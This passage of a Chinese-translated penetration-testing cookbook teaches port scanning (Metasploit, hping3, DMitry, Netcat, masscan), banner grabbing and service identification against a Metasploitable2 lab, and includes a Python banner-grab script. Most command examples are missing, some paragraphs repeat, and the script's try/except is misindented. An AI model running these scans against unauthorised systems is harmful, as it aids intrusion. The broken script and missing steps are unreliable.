1. 在提供的示例中，对指定的远程主机的前 100 个 TCP 端口地址进行了 TCP SYN 扫描。尽管此扫描识别了目标系统上的多个服务，但除非扫描了所有可能的端口地址，否则我们无法确定是否已经识别了所有服务。定义源端口和目标端口地址的 TCP 头部部分都是 16 位长。此外，每个位可以保持值 1 或 0。因此，共有 2¹⁶，即 65,536 个可能的 TCP 端口地址。要扫描整个可能的地址空间，需要提供从 0 到 65535 的端口范围，如下所示：

1. 在提供的示例中，通过扫描所有可能的 TCP 端口地址，识别了远程系统上所有开放的 TCP 端口。我们还可以修改扫描配置，使用破折号表示法扫描一系列连续的地址：

1. 在提供的示例中，对由 RHOSTS 变量指定的所有主机地址执行了端口 80 的 TCP SYN 扫描。同样，RHOSTS 可以用来通过 CIDR 表示法定义一个网络范围：

使用 Metasploit 进行连接扫描

Metasploit 有一个 auxiliary 模块，可以用来对指定的 TCP 端口执行 TCP 连接扫描：

1. 要在 Kali Linux 中打开 Metasploit，请在终端会话中使用 msfconsole 命令，如下所示：

1. 要调用 Metasploit 中的 TCP 连接扫描模块，请使用 use 命令和 auxiliary 模块的相对路径。选择模块后，可以使用 show options 命令来识别和/或修改扫描配置。此命令将显示四个列标题，包括：Name（名称）、Current Setting（当前设置）、Required（是否必需）和 Description（描述）。Name 列标识每个可配置变量的名称。Current Setting 列列出了给定变量的现有配置。Required 列标识某个变量是否需要值。最后，Description 列描述了每个变量的功能。我们可以使用 set 命令并通过提供新值作为参数来更改任何给定变量的值，如下所示：

1. 在提供的示例中，RHOSTS 值被更改为我们希望扫描的远程系统的 IP 地址。PORTS 值设置为 TCP 端口 80（HTTP）。在更新必要的变量后，可以使用 show options 命令再次验证配置。验证完所需的配置后，启动扫描。run 命令用于在 Metasploit 中执行选定的 auxiliary 模块。在提供的示例中，run 命令执行了对指定 IP 地址的端口 80 进行 TCP 连接扫描。

这个 TCP 连接扫描也可以通过提供起始和结束端口值，并用破折号分隔，来对一系列顺序的 TCP 端口进行扫描：

1. 在提供的示例中，设置扫描了前 100 个 TCP 端口地址。此外，线程数被更改为 20。THREADS 值定义了后台执行的并发任务数。确定线程值的过程是找到一个合适的平衡点，以显著提高任务速度，同时不至于过度消耗系统资源。对于大多数系统来说，20 个线程是一个快速且相对安全的并发进程数。尽管这个扫描识别了目标系统上的多个服务，但如果没有扫描所有可能的端口地址，就无法确保识别出所有服务。定义源端口和目标端口地址的 TCP 头部部分的长度均为 16 位。而且，每一位可以保留 1 或 0 的值。因此，可能的 TCP 端口地址有 2¹⁶ 或 65,536 个。为了扫描所有可能的地址空间，需要提供一个从 0 到 65535 的端口范围，如下所示：

1. 在提供的示例中，通过扫描所有可能的 TCP 端口地址，识别出了远程系统上的所有开放的 TCP 端口。我们还可以修改扫描配置，使用破折号符号扫描一系列顺序的地址：

1. 在所提供的示例中，对 RHOSTS 变量指定的所有主机地址上的端口 22、80 和 443 执行了 TCP 连接扫描。类似地，可以使用 RHOSTS 来使用 CIDR 表示法定义网络范围：

它是如何工作的……

使用 Metasploit auxiliary 模块进行 UDP 扫描不如使用 Nmap 进行的 UDP 扫描全面。它仅针对有限数量的服务，但在这些端口上识别活动服务的效果非常好，并且比大多数其他可用的 UDP 扫描解决方案更快。

Metasploit 的 SYN 扫描背后的基本原理与 auxiliary 模块与其他任何 SYN 扫描工具基本相同。对于每个被扫描的端口，都会发送一个 SYN 数据包，并使用 SYN+ACK 响应来识别活动服务。使用 Metasploit 对某些人来说可能更具吸引力，因为它提供了交互式控制台，并且它是大多数渗透测试人员已经熟知的工具。

定义如何通过 Metasploit 执行 TCP 连接扫描的基本原理与之前讨论的其他工具相同。使用 Metasploit 执行此类型扫描的优势在于，它可以减少一个人需要熟悉的工具数量。

使用 hping3 进行端口扫描（隐身扫描）

除了我们已经学到的发现技术，hping3 命令还可以用于执行端口扫描。这个具体的操作示例展示了如何使用 hping3 命令来执行 TCP 隐身扫描。

准备工作

要使用 hping3 命令执行 TCP 隐身扫描，您需要有一个远程系统，该系统正在通过 TCP 提供可访问的网络服务。在所提供的示例中，使用的是 Metasploitable2 实例来执行此任务。有关如何设置 Metasploitable2 的更多信息，请参见 第一章，入门。

如何操作……

除了已经提到的发现功能外，hping3 命令还可以用于执行 TCP 端口扫描：

1. 要使用 hping3 执行端口扫描，我们需要使用 --scan 模式，并通过整数值来指示要扫描的端口号：

1. 在所提供的示例中，执行了对指定 IP 地址的 TCP 端口 80 的 SYN 扫描。-S 选项标识发送到远程系统的数据包中激活的 TCP 标志。表格显示了接收到的响应包的属性。如输出所示，收到了 SYN+ACK 响应，这表明目标主机的端口 80 是开放的。此外，我们还可以通过传递以逗号分隔的端口号系列来扫描多个端口，如下所示：

1. 在提供的扫描输出中，可以看到只有在接收到 SYN+ACK 响应时，结果才会显示。注意，发送到端口 443 的 SYN 请求所对应的响应没有显示。如输出中所示，我们可以通过增加 -v 选项来查看所有响应。此外，可以通过传递第一个和最后一个端口地址值，使用破折号符号表示法扫描连续范围的端口，如下所示：

1. 在提供的示例中，100 个端口的扫描足以识别 Metasploitable2 系统上的多个服务。然而，要执行所有可能的 TCP 端口扫描，需要扫描所有可能的端口地址值。定义源和目标端口地址的 TCP 头部部分的长度都是 16 位，每个位可以保持 1 或 0 的值。因此，共有 2¹⁶，即 65,536 个可能的 TCP 端口地址。为了扫描所有可能的地址空间，需提供一个端口范围，从 0 到 65535，如下所示：

它是如何工作的…

hping3 工具与之前提到的一些其他工具有所不同，因为它没有 SYN 扫描模式，而是允许你指定在发送 TCP 数据包时启用的 TCP 标志位。在本食谱中提供的示例中，-S 选项指示 hping3 使用 SYN 标志来发送 TCP 数据包。

使用 DMitry 进行端口扫描（连接）

另一个可以用来对远程系统执行 TCP 连接扫描的工具是 DMitry。与 Nmap 和 Metasploit 不同，DMitry 是一个非常简单的工具，我们可以使用它进行快速且轻松的扫描，而无需管理复杂的配置。这个具体的食谱展示了如何使用 DMitry 执行 TCP 连接扫描。

准备工作

要使用 dmitry 命令执行完整的连接扫描，你需要有一个远程系统，该系统通过 TCP 提供网络服务。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。有关如何设置 Metasploitable2 的更多信息，请参考 第一章，入门指南。

如何操作…

DMitry 是一个多用途工具，可以用于对目标系统执行 TCP 扫描。它的功能有限，但它是一个简单的工具，可以快速有效地使用：

1. 要查看 dmitry 命令的可用选项，我们在终端中执行以下程序，不带任何参数：

1. 如使用说明中所示，-p 选项可以用于执行 TCP 端口扫描。为此，我们将此选项与要扫描的系统的 IP 地址一起使用。DMitry 有 150 个常用的预配置端口，它会扫描这些端口，并显示任何找到的开放端口。考虑以下示例：

1. 使用 DMitry 进行 TCP 端口扫描的自定义选项较少，但它可以快速有效地评估单个主机上常用的服务。我们还可以使用-o选项将 DMitry 扫描的结果输出到文本文件，并在执行目录中指定输出文件名：

工作原理…

dmitry命令执行 TCP 连接扫描的基本原理与之前讨论的其他工具相同。DMitry 的实用性主要体现在与其他工具相比，它的简便性。与 Nmap 或 Metasploit 需要管理多个配置选项不同，我们只需指定适当的模式并传递目标 IP 地址，就可以轻松启动 DMitry。它会快速扫描 150 个最常用的端口，并输出这些端口中所有开放的端口值。

使用 Netcat 进行端口扫描（连接）

由于 Netcat 是一个网络套接字连接和管理工具，它可以轻松地转变为 TCP 端口扫描工具。本示例展示了如何使用 Netcat 执行 TCP 连接扫描。

准备就绪

要使用 Netcat 执行完整的连接扫描，你需要有一台运行 TCP 网络服务的远程系统。在提供的示例中，使用 Metasploitable2 实例来执行此任务。有关如何设置 Metasploitable2 的更多信息，请参见第一章，入门。

如何操作…

Netcat 是一个极其有用的多功能网络工具，可以用于各种用途。Netcat 的一个有效用途是执行端口扫描：

1. 要识别使用选项，可以使用-h选项调用 Netcat(nc)，如下所示：

1. 如使用输出所示，-z选项可以有效用于扫描。要扫描目标系统的 TCP 端口80，我们使用-n选项表示将使用 IP 地址，-v选项用于详细输出，-z选项用于扫描，具体如下：

1. 对开放端口进行扫描尝试将返回 IP 地址、端口地址和端口状态。对活动主机的封闭端口进行相同的扫描将显示连接被拒绝。我们可以将此过程自动化，使用以下命令进行循环扫描：

1. 一系列连续的端口号可以通过循环传递，并且所有端口可以轻松快速地扫描。然而，在提供的示例中，开放和关闭的端口的输出都被包含了。如果扫描的端口数量较少，这样是可以接受的。但如果扫描大量端口，可能会很不方便逐一筛选出开放的端口，因为要找到开放的端口需要从所有关闭的端口中筛选出来。因此，我们可以本能地尝试将输出管道化，并通过 grep 命令过滤出与开放端口相关的行，如下所示：

1. 然而，在尝试将输出管道化并从中使用 grep 命令时，仍然会返回全部的输出。这是因为 Netcat 将输出传递给STDERR而不是STDOUT。为了有效地从此工具的输出中 grep，需要使用2>&1将输出重定向到STDOUT，如下所示：

1. 通过将输出传递给STDOUT，然后从中使用 grep 命令，我们能够隔离出提供开放端口详细信息的输出行。我们还可以更加简洁，仅提取我们需要的信息。如果正在扫描的是单个主机，我们可能只需要关注第三和第四个字段：

1. 要从输出中提取这些字段，可以使用cut函数将行以空格为分隔符分割，然后指定要输出的字段。然而，还有一种有效的方法可以在不通过循环传递工具的情况下，在 Netcat 中指定端口范围。通过将nc作为一系列连续的端口地址值传递，Netcat 将自动只显示开放的端口：

1. 同样地，我们需要将其输出传递给STDOUT，才能将其管道化到cut函数。通过显示字段2到4，我们可以将输出限制为 IP 地址、端口地址和相关服务，如下所示：

1. 使用 bash 中的循环函数，我们可以用 Netcat 扫描多个连续的主机地址，然后提取相同的详细信息，以识别不同扫描的 IP 地址上哪些端口是开放的：

它是如何工作的…

执行 TCP 连接扫描的工具通过执行完整的三次握手与远程目标系统上扫描的所有端口建立连接。端口的状态是根据是否建立了连接来判断的。如果连接成功，端口被认为是开放的；如果无法建立连接，端口则被认为是关闭的。

使用 masscan 进行端口扫描（隐匿扫描）

masscan 工具是最快的互联网端口扫描器；事实上，它能够在不到 6 分钟的时间内扫描整个互联网。这显然需要充足的硬件和网络带宽。masscan 工具通过异步传输运行，这正是它能够如此快速扫描的原因。使用 masscan 时需要注意的一点是，它使用的是自定义的 TCP/IP 协议栈，因此需要小心避免与本地 TCP/IP 协议栈发生冲突。本示例演示了如何使用 masscan 命令执行 TCP 隐形扫描。

准备工作

要使用 masscan 命令进行隐形扫描，您需要有一台运行网络服务的远程系统。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。有关如何设置 Metasploitable2 的更多信息，请参阅 第一章，入门指南。

如何操作…

跟随以下步骤，使用 masscan 命令进行隐形扫描：

1. masscan 工具是一个极其快速的端口扫描器。要查看 masscan 帮助文件，应使用 -h 选项调用 masscan 命令，如下所示：

1. masscan 的开发者尽力使其用法与 Nmap 相似。要查看 masscan 的使用选项，使用 --nmap 选项调用 masscan 命令，如下所示：

1. 当使用 masscan 替代 nmap 时，可以将其视为默认启用了 -sS 标志。因此我们不需要告诉它我们正在进行隐形扫描。masscan 和 nmap 之间的一个区别是，masscan 没有设置默认端口，因此我们必须定义要检查的端口。一个 masscan 扫描将使用 masscan 命令、要扫描的主机的 IP 地址和 -p（端口）来进行扫描，如下所示：

1. 在提供的示例中，对指定 IP 地址的 TCP 端口 80 执行了 SYN 扫描。与使用 Nmap 时解释的技术类似，masscan 监听响应，并通过分析接收到的任何响应中激活的 TCP 标志来识别开放的端口。我们还可以使用 masscan 命令通过传递逗号分隔的端口号列表，在多个指定端口上执行扫描，如下所示：

1. 在提供的示例中，针对指定目标 IP 地址的端口 21、80 和 443 执行了 SYN 扫描。我们也可以通过使用破折号符号分隔扫描的首尾端口号，使用 Nmap 扫描一系列连续的主机：

1. 如果需要对所有可能的 TCP 端口进行扫描，则需要扫描所有可能的端口地址值。定义源端口和目标端口地址的 TCP 头部分都长 16 位。此外，每个比特位可以保持值 1 或 0。因此，存在 2¹⁶ 或 65,536 个可能的 TCP 端口地址。为了扫描所有可能的地址空间，需要提供端口范围 0 到 65535，如下所示：

1. 在提供的示例中，对 Metasploitable2 系统上的 65,536 个可能的 TCP 地址进行了扫描。在尝试识别目标的所有潜在攻击面时，完整扫描始终是最佳实践。masscan 命令也可以用于按顺序扫描一系列主机的 TCP 端口，使用短横线表示法：

1. 在提供的示例中，对指定地址范围内的所有主机执行了 TCP 端口 80 的 SYN 扫描。虽然此次扫描仅针对单个端口执行，但 masscan 也能够扫描多个端口和多个系统上的端口范围。此外，masscan 还可以配置为基于输入的 IP 地址列表来扫描主机。可以使用 -iL 选项，然后指定文件名（如果文件存在于执行目录中）或文件路径。然后，masscan 工具会依次遍历输入列表中的每个地址，并针对该地址执行指定的扫描：

它是如何工作的……

使用 masscan 进行 SYN 扫描的基本原理与前面讨论的相同。然而，在异步模式下，masscan 是执行这类扫描的快速且高效的方法。masscan 工具为您提供了扫描互联网并收集信息的最快方式。它使用自定义的 TCP/IP 堆栈，以避免冲突，并为您提供最佳的兼容性和灵活性。

第五章：指纹识别

在识别目标范围内的活动系统并枚举这些系统的开放端口后，接下来需要开始收集有关它们及其与开放端口相关的服务的信息。在本章中，我们将讨论使用 Kali Linux 对系统和服务进行指纹识别的不同技术。这些技术将包括横幅获取、服务探测识别、操作系统识别、SNMP 信息收集以及防火墙识别。本章中的具体方法包括以下内容：

• 使用 Netcat 获取横幅

• 使用 Python 套接字获取横幅

• 使用 DMitry 获取横幅

• 使用 Nmap NSE 获取横幅

• 使用 Amap 获取横幅

• 使用 Nmap 进行服务识别

• 使用 Amap 进行服务识别

• 使用 Scapy 进行操作系统识别

• 使用 Nmap 进行操作系统识别

• 使用 xprobe2 进行操作系统识别

• 使用 p0f 进行被动操作系统识别

• 使用 Onesixtyone 进行 SNMP 分析

• 使用 SNMPwalk 进行 SNMP 分析

• 使用 Scapy 进行防火墙识别

• 使用 Nmap 进行防火墙识别

• 使用 Metasploit 进行防火墙识别

介绍

在处理列表中提到的具体方法之前，我们应当先探讨一些本章其余部分中会讨论的基本原理。本章中的每一个方法都会介绍可用于执行一些特定任务的工具。这些任务包括横幅获取、服务识别、操作系统识别、SNMP 分析和防火墙识别。每一项任务都服务于一个共同的目标，那就是尽可能多地收集目标系统的信息，以便能够迅速高效地对该系统进行攻击。

在投入大量时间和资源尝试识别远程服务之前，我们应当判断该远程服务是否会主动向我们揭示自身信息。服务横幅包含在与远程服务建立连接时立即返回的输出文本。历史上，网络服务通常会在服务横幅中披露制造商、软件名称、服务类型，甚至版本号。幸运的是，对于渗透测试人员而言，这些信息在识别软件中的已知弱点、缺陷和漏洞时非常有用。服务横幅可以通过简单地连接到远程终端服务来读取。然而，为了使这成为一个有效的信息收集工具，它应该实现自动化，这样我们就不必手动连接到远程主机上的每个服务。本章中将讨论的横幅获取工具将自动化横幅获取任务，以识别尽可能多的开放服务。

如果远程服务未主动披露其运行的软件和/或版本，我们将需要付出更多努力来识别该服务。通常可以通过识别独特的行为或请求独特的响应来确定服务。由于响应或行为上的细微差异，通常还可以识别特定服务的版本。然而，了解所有这些独特的特征对于任何人来说都很难记住。幸运的是，已经创建了许多工具，用于向远程服务发送大量探测，分析目标服务的响应和行为。类似地，响应的变化也可以用来识别远程服务器或工作站上运行的操作系统。这些工具将在涉及服务识别和操作系统识别的食谱中进行讨论。

简单网络管理协议 (SNMP) 是一种旨在为各种类型的网络设备提供远程管理服务的协议。使用 SNMP 进行管理时，通过社区字符串进行身份验证。设备通常会使用默认的社区字符串进行部署。当发生这种情况时，攻击者通常可以远程收集大量目标设备的配置信息，在某些情况下，甚至可以重新配置设备。利用 SNMP 进行信息收集的技术将在涉及 SNMP 分析的食谱中讨论。

在收集潜在目标信息的同时，了解可能影响成功侦察或攻击的障碍也很重要。防火墙是网络设备或软件，用于有选择性地限制网络流量的流向，通常是流入或流出特定目标或来源的流量。防火墙通常被配置为防止远程访问特定服务。了解防火墙对攻击系统与目标之间的流量进行修改的情况，对于试图识别规避或绕过其过滤器的方式至关重要。识别防火墙设备和服务的技术将在涉及防火墙识别的食谱中进行讨论。

使用 Netcat 获取横幅

Netcat 是一个多功能的网络工具，可以在 Kali Linux 上执行多种信息收集和扫描任务。本食谱将演示如何使用 Netcat 获取服务横幅，从而识别与目标系统开放端口相关的服务。

准备工作

要使用 Netcat 收集服务横幅，你需要有一个远程系统运行网络服务，并且在客户端设备连接时自动披露信息。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。有关如何设置 Metasploitable2 的更多信息，请参阅第一章中的安装 Metasploitable2配方，入门部分。

如何操作……

跟随步骤使用 Netcat 收集横幅信息：

1. 要使用 Netcat 抓取服务横幅，必须建立与远程系统上目标端口的套接字连接。为了快速了解 Netcat 的使用方式以及如何用它完成此任务，可以查看其使用帮助。这可以通过使用-h选项来完成：

1. 通过查看此工具提供的各种选项，我们可以确定，通过指定选项，后跟 IP 地址和端口号，可以连接到所需的端口：

1. 在提供的示例中，已连接到172.16.69.128上的 Metasploitable2 系统的22端口。使用了-v选项来提供详细输出，并且使用了-n选项通过 IP 地址连接，而不进行 DNS 解析。在这里，我们可以看到远程主机返回的横幅标识了该服务为 SSH，供应商为 OpenSSH，甚至明确标识了版本为 4.7。Netcat 保持一个打开的连接，因此在读取横幅后，你可以通过Ctrl + C强制关闭连接：

1. 通过对同一系统的21端口执行类似的扫描，我们可以轻松获取运行中的 FTP 服务的服务和版本信息。在这些情况下，很多有用的信息都会被披露。了解系统上运行的服务和版本常常是漏洞的一个关键指示，可以用来利用并攻破系统。

它是如何工作的……

Netcat 能够从这些服务中抓取横幅，因为这些服务被配置为在客户端连接时自动披露此信息。过去，服务和版本的自我披露做法常常被用来确保连接的客户端正连接到其预定的目标。随着开发者安全意识的提高，这种做法逐渐不再常见。然而，仍然有不少开发不成熟或较旧的遗留服务，提供过多的信息作为服务横幅。

使用 Python 套接字抓取横幅

Python 中的socket模块可用于连接远程端口上运行的网络服务。本节将演示如何使用 Python 套接字获取服务横幅，以便识别目标系统上开放端口所关联的服务。

准备工作

要使用 Python 收集服务横幅，你需要一个运行网络服务的远程系统，当客户端设备连接到它们时会披露信息。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。有关设置 Metasploitable2 的更多信息，请参考 第一章中 安装 Metasploitable2 的相关内容，入门。此外，本食谱还需要使用文本编辑器（如 Vim 或 GNU nano）编写一个脚本并保存到文件系统。有关编写脚本的更多信息，请参考 第一章中 使用文本编辑器（Vim 和 GNU nano） 的相关内容，入门。

如何操作……

让我们使用 Python 来收集横幅信息：

1. 你可以使用 Python 交互式解释器直接与远程网络服务进行交互。你可以通过直接调用 Python 解释器来开始使用它。在这里，你可以导入任何你希望使用的特定模块。在这个例子中，我们将导入 socket 模块：

1. 在提供的示例中，创建了一个名为 bangrab 的新套接字。AF_INET 参数用于指示套接字将使用 IPv4 地址，SOCK_STREAM 参数用于指示将使用 TCP 协议。一旦创建了套接字，就可以使用 connect() 函数来初始化连接。在这个示例中，bangrab 套接字连接到 Metasploitable2 远程主机 172.16.69.128 上的端口 21。

2. 连接后，可以使用 recv() 函数从套接字连接的服务中接收内容。如果有可用的信息，它将作为输出打印出来。在这里，我们可以看到由 Metasploitable2 服务器上运行的 FTP 服务提供的横幅。最后，close() 函数可以用于优雅地结束与远程服务的连接。如果我们尝试连接到一个不接受连接的服务，Python 解释器将返回一个错误：

1. 如果尝试连接到 Metasploitable2 系统上的 TCP 端口 443，将返回一个错误，指示连接被拒绝。这是因为该远程端口没有运行任何服务。然而，即使目标端口上有服务运行，也不意味着一定会有服务横幅可用。通过与 Metasploitable2 系统上的 TCP 端口 80 建立连接可以看到这一点：

1. 本系统的端口 80 上运行的服务正在接受连接，但未向连接客户端提供服务横幅。如果使用 recv() 函数，但没有可接收的数据，函数将会阻塞。为了自动化在 Python 中收集横幅的操作，必须使用替代方案来识别是否有横幅可以抓取，然后再调用该函数。select() 函数为此问题提供了一个便捷的解决方案：

1. 创建一个 select 对象并将其设置为名为 ready 的变量。该对象传递四个参数，包括读取列表、写入列表、异常列表和定义超时时间的整数值。在此情况下，我们只关心套接字是否准备好进行读取，因此第二和第三个参数为空。返回一个数组，数组中的值对应于这三种列表的每个项。

2. 我们只关心 bangrab 套接字是否有内容可以读取。为了确定是否有内容，我们可以测试数组中的第一个值，如果该值存在，则可以从套接字中接收内容。整个过程可以自动化为一个可执行的 Python 脚本：

        #!/usr/bin/python

        import socket
        import select
        import sys

        if len(sys.argv) != 4:
         print "Usage - ./banner_grab.py [Target-IP] [First Port]
          [Last Port]"
         print "Example - ./banner_grab.py 10.0.0.5 1 100"
         print "Example will grab banners for TCP ports 1
          through 100 on 10.0.0.5"
         sys.exit()

        ip = sys.argv[1]
        start = int(sys.argv[2])
        end = int(sys.argv[3])

        for port in range(start,end):
         try:
           bangrab = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
           bangrab.connect((ip, port))
           ready = select.select([bangrab],[],[],1)
           if ready[0]:
             print "TCP Port " + str(port) + " - " + bangrab.recv(4096)
             bangrab.close()
           except:
             pass

1. 在此脚本中，接受三个参数作为输入：

   • 第一个参数是用于测试服务横幅的 IP 地址

   • 第二个参数表示要扫描的端口范围中的第一个端口号

   • 第三个也是最后一个参数表示要扫描的端口范围中的最后一个端口号

2. 执行此脚本时，它将使用 Python 套接字连接到远程系统中所有在范围内的端口，并收集并打印所有识别出的服务横幅。通过修改文件权限并直接从编写脚本所在的目录中调用它，可以执行此脚本：

它是如何工作的……

本食谱中介绍的 Python 脚本通过利用 socket 库来工作。脚本循环遍历每个指定的目标端口地址，并尝试与该端口建立 TCP 连接。如果连接成功并且从目标服务接收到横幅信息，该横幅将被打印到脚本的输出中。如果无法与远程端口建立连接，脚本将继续尝试循环中的下一个端口地址。同样，如果连接成功但没有返回横幅，连接将被关闭，脚本将继续执行循环中的下一个端口。

使用 DMitry 获取服务横幅

DMitry 是一个简单且高效的工具，可以用来连接到远程端口上运行的网络服务。本食谱将演示如何使用 DMitry 扫描获取服务横幅，以识别目标系统上开放端口所关联的服务。

准备工作

要使用 DMitry 收集服务横幅，您需要有一个远程系统，该系统运行网络服务，当客户端设备连接到这些服务时，会披露相关信息。在所提供的示例中，使用了 Metasploitable2 实例来执行此任务。有关设置 Metasploitable2 的更多信息，请参阅 第一章 中的 安装 Metasploitable2 配方，入门 部分。

如何操作……

执行以下步骤以使用 DMitry 获取横幅信息：

1. 正如本书中先前讨论的端口扫描教程，DMitry 可用于快速扫描 150 个最常用的 TCP 端口。这可以通过使用 -p 选项来完成：

1. 该端口扫描选项是执行 DMitry 横幅抓取所必需的。还可以在尝试连接这 150 个端口时，使用 DMitry 抓取任何可用的横幅。这可以通过将 -b 选项与 -p 选项结合使用来完成：

它是如何工作的……

DMitry 是一个非常简单的命令行工具，可以以最小的开销执行横幅抓取任务。与其指定应该尝试抓取横幅的端口，DMitry 可以通过仅在少量预定义的常用端口上进行横幅抓取来简化过程。来自这些端口地址上运行的服务的横幅将返回并显示在脚本的终端输出中。

使用 Nmap NSE 进行横幅抓取

Nmap 有一个集成的 Nmap 脚本引擎（NSE）脚本，可以用来读取远程端口上运行的网络服务的横幅。这个教程将展示如何使用 Nmap NSE 获取服务横幅，从而识别目标系统上开放端口所关联的服务。

准备就绪

要使用 Nmap NSE 收集服务横幅，您需要有一个远程系统，该系统运行网络服务，当客户端设备连接到这些服务时，会披露相关信息。在所提供的示例中，使用了 Metasploitable2 实例来执行此任务。有关设置 Metasploitable2 的更多信息，请参阅 第一章 中的 安装 Metasploitable2 配方，入门 部分。

如何操作……

让我们使用 Nmap NSE 获取横幅信息：

1. Nmap NSE 脚本可以通过在 Nmap 中使用 --script 选项并指定所需脚本的名称来调用。对于这个特定的脚本，应该使用 -sT 完全连接扫描，因为只有在建立完全的 TCP 连接时，才能收集服务横幅。该脚本将应用于与 Nmap 请求扫描的相同端口：

1. 在提供的示例中，扫描了 Metasploitable2 系统的 TCP 端口 22。除了指示该端口开放外，Nmap 还使用横幅脚本收集了与该端口相关的服务横幅。此技术也可以通过 -- 符号应用于端口的连续范围：

它是如何工作的……

执行横幅抓取侦察的另一个优秀选项是使用 Nmap NSE 脚本。这可以通过两种方式有效地简化信息收集过程：首先，因为 Nmap 很可能已经是你工具库中的一部分，用于目标和服务发现；其次，因为横幅抓取过程可以与这些扫描一起运行。使用额外的--script选项和banner参数的 TCP 连接扫描可以完成服务枚举和横幅抓取的任务。

使用 Amap 进行横幅抓取

Amap 是一个应用映射工具，可以用于读取来自远程端口上运行的网络服务的横幅。本教程将演示如何使用 Amap 获取服务横幅，以识别目标系统上开放端口关联的服务。

准备工作

要使用 Amap 收集服务横幅，你需要有一个远程系统在运行网络服务，当客户端设备连接到这些服务时会披露信息。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。有关设置 Metasploitable2 的更多信息，请参考 第一章中的 安装 Metasploitable2 教程，开始使用。

如何进行……

以下步骤将引导你使用 Amap 收集服务横幅信息：

1. Amap 中的 -B 选项可以用于以横幅模式运行应用程序。这将使其收集指定 IP 地址和服务端口的横幅。通过指定远程 IP 地址和服务号，可以使用 Amap 收集来自单个服务的横幅：

1. 在提供的示例中，Amap 已从 Metasploitable2 系统的端口 21 上抓取了服务横幅（系统地址为 172.16.69.128）。此命令也可以修改为扫描端口的连续范围。要扫描所有可能的 TCP 端口，必须扫描所有可能的端口地址值。定义源端口和目标端口地址的 TCP 头部分别为 16 位长度，每个位可以保持 1 或 0 的值。因此，可能的 TCP 端口地址总共有 2¹⁶，即 65,536 个。

要扫描整个可能的地址空间，必须提供端口范围 1-65535：

1. Amap 输出的标准结果提供了一些不必要和冗余的信息，这些信息可以从输出中提取出来。具体来说，移除扫描元数据、Banner on 短语以及整个扫描过程中保持不变的 IP 地址可能会很有帮助。为了移除扫描元数据，我们必须使用 grep 命令输出特定于某个输出条目的短语，这个短语在扫描元数据描述中不存在。为此，我们可以使用 grep 命令查找单词 on：

1. 然后，我们可以通过使用冒号分隔符切割每一行输出，并只提取 2-5 字段，来从输出中提取 Banner on 短语和冗余的 IP 地址：

它是如何工作的…

定义 Amap 如何完成横幅抓取任务的基本原理与之前讨论的其他工具相同。Amap 会遍历目标端口地址列表，尝试与每个端口建立连接，然后在连接到服务时接收任何返回的横幅信息。

使用 Nmap 进行服务识别

尽管横幅抓取有时可以成为非常有价值的信息来源，但服务横幅中版本泄露的情况越来越少见。Nmap 提供了一个远超简单横幅抓取技术的服务识别功能。本食谱将演示如何使用 Nmap 基于探测响应分析来执行服务识别。

准备工作

要使用 Nmap 执行服务识别，您需要一个远程系统，该系统正在运行可以进行探测和检查的网络服务。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。有关设置 Metasploitable2 的更多信息，请参阅 第一章 中的 安装 Metasploitable2 食谱，入门 部分。

如何操作…

我们已经获得了服务横幅信息，现在让我们使用 Nmap 执行服务识别：

1. 为了理解 Nmap 服务识别功能的有效性，我们应该考虑一个没有提供自我披露服务横幅的服务。通过使用 Netcat 连接到 Metasploitable2 系统的 TCP 端口 80（这是本章 使用 Netcat 进行横幅抓取 食谱中讨论的技术），我们可以看到仅通过建立 TCP 连接并没有呈现任何服务横幅：

1. 然后，要在相同端口上执行 Nmap 服务扫描，我们可以使用 -sV 选项并结合 IP 和端口指定：

1. 如示范中所示，Nmap 能够识别服务、厂商以及产品的具体版本。这个服务识别功能也可以用于指定的端口序列。也可以不指定端口号，使用 Nmap 扫描 1,000 个常见端口，并尝试识别所有已识别的监听服务：

它是如何工作的…

Nmap 服务识别会发送一系列全面的探测请求，然后分析这些请求的响应，试图根据服务特有的签名和预期行为来识别服务。此外，你可以在服务识别的输出底部看到，Nmap 依赖用户的反馈以确保其服务签名的持续可靠性。

使用 Amap 进行服务识别

Amap 是 Nmap 的一个“表亲”，专门设计用于识别网络服务。在本节中，我们将解释如何使用 Amap 执行服务识别。

准备工作

要使用 Amap 执行服务识别，你需要有一个远程系统在运行可以被探测和检查的网络服务。在提供的示例中，使用 Metasploitable2 实例来执行此任务。有关设置 Metasploitable2 的更多信息，请参考第一章中 安装 Metasploitable2 的内容，入门 部分。

如何操作…

Amap 是专门为服务识别设计的，下面我们将通过这些步骤使用 Amap 执行服务识别：

1. 要在单个端口上执行服务识别，运行 Amap 并指定 IP 地址和端口号：

1. Amap 也可以使用破折号表示法扫描一系列连续的端口号。为此，请执行 amap 命令，指定 IP 地址，并通过第一个端口号、破折号（-）以及范围中的最后一个端口号来表示端口范围：

1. 除了识别它能够识别的任何服务外，Amap 还会在输出末尾生成一个列表，指示任何未识别的端口。这个列表不仅包括运行着无法识别的服务的开放端口，还包括所有已扫描的关闭端口。虽然仅扫描 10 个端口时，输出结果还算可管理，但扫描更大范围的端口时就会变得非常烦人。为了抑制未识别端口的信息，可以使用 -q 选项：

1. 请注意，Amap 会显示一般性和更具体签名的匹配情况。在提供的示例中，运行在端口22上的服务被识别为匹配 SSH 签名，同时也匹配了更具体的 openssh 签名。将签名匹配结果与服务横幅并排显示也有助于进一步确认。可以使用 -b 选项将横幅附加到与每个端口相关联的输出中：

1. 对大量端口进行服务识别扫描，或对所有 65,536 个端口进行全面扫描时，如果对每个服务使用每个可能的签名探测，可能会花费异常长的时间。为了提高服务识别扫描的速度，可以使用 -1 参数，在服务匹配到签名后停止分析该服务：

它是如何工作的……

Amap 执行服务识别的基本原理与 Nmap 使用的原理相似。通过注入一系列探测请求，试图获取独特的响应，以便识别运行在特定端口上的服务的软件和版本。然而，需要注意的是，尽管 Amap 是服务识别的一个备选方案，它不像 Nmap 那样频繁更新和维护。因此，Amap 产生可靠结果的可能性较小。

使用 Scapy 进行操作系统识别

有许多技术可以用来尝试识别你正在与之通信的设备的操作系统。真正有效的操作系统识别工具是强大的，并且使用大量技术来分析其结果。然而，Scapy 可以单独分析这些因素。本教程将展示如何通过检查返回的 TTL 值，使用 Scapy 进行操作系统识别。

准备工作

